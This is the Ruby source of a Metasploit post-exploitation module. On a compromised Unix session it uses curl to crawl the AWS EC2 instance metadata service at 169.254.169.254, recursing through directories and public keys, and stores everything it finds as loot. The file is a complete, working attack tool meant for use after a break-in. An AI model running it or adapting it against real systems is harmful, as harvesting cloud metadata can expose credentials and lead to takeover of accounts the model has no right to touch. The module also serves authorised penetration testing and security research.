##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gather AWS EC2 Instance Metadata',
        'Description' => %q{
          This module will attempt to connect to the AWS EC2 instance metadata service
          and crawl and collect all metadata known about the session'd host.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module
        ],
        # TODO: is there a way to do this on Windows?
        'Platform' => %w[unix],
        'SessionTypes' => %w[shell meterpreter],
        'References' => [
          [ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_advanced_options(
      [
        OptString.new('TARGETURI', [true, 'AWS EC2 Instance metadata URI', 'http://169.254.169.254/latest/meta-data/'])
      ]
    )
  end

  def check_aws_metadata
    resp = simple_get(@target_uri)
    unless resp =~ /^instance-id$/
      fail_with(Failure::BadConfig, 'Session does not appear to be on an AWS EC2 instance')
    end
    resp
  end

  def check_curl
    unless cmd_exec('curl --version') =~ /^curl \d/
      fail_with(Failure::BadConfig, 'curl is not installed')
    end
  end

  def get_aws_metadata(base_uri, base_resp)
    r = {}
    base_resp.split(/\r?\n/).each do |l|
      new_uri = "#{base_uri}#{l}"
      if l =~ %r{/$}
        # handle a directory
        r[l.gsub(%r{/$}, '')] = get_aws_metadata(new_uri, simple_get(new_uri))
      elsif new_uri.to_s =~ %r{/public-keys/} && /^(?<key_id>\d+)=/ =~ l
        # special case handling of the public-keys endpoint
        new_uri = new_uri.slice(0..(new_uri.index(%r{/public-keys/}) + '/public-keys'.length))
        key_uri = "#{new_uri}#{key_id}/"
        key_resp = simple_get(key_uri)
        r[key_id] = get_aws_metadata(key_uri, key_resp)
      else
        r[l] = simple_get(new_uri)
      end
    end
    r
  end

  def run
    check_curl
    resp = check_aws_metadata

    print_status('Gathering AWS EC2 instance metadata')
    metadata = get_aws_metadata(@target_uri, resp)

    metadata_json = JSON.pretty_generate(metadata)
    file = store_loot('aws.ec2.instance.metadata', 'text/json', session, metadata_json, 'aws_ec2_instance_metadata.json', 'AWS EC2 Instance Metadata')

    if datastore['VERBOSE']
      vprint_good('AWS EC2 instance metadata')
      print_line(metadata_json)
    end
    print_good("Saved AWS EC2 instance metadata to to #{file}")
  end

  def setup
    @target_uri ||= URI(datastore['TARGETURI'])
  rescue ::URI::InvalidURIError
    fail_with(Failure::BadConfig, "Invalid TARGETURI: #{datastore['TARGETURI']}")
  end

  def simple_get(url)
    vprint_status("Fetching #{url}")
    cmd_exec("curl -s #{url}")
  end
end
